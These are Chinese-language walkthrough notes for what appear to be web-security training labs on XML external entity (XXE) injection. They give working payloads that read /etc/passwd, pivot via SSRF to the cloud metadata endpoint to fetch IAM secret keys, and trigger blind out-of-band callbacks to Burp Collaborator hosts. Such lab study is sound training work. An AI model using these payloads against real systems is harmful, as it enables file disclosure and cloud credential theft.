首先请求的pyload是xml格式
1、XXE读取文件
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。
2、利用xxe造成ssrf
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.
3、带外交互的XXE盲注
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>
实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com"> ]>
将数字替换productId为对外部实体的引用:
&xxe;
转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
4、通过 XML 参数实体进行带外交互的XXE盲注
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>
## Collaborator生成子域名:% xxe表示xml参数实体
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://lshw8i7ytlv8xvt0mimz4a67gympaiy7.oastify.com"> %xxe; ]>
转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。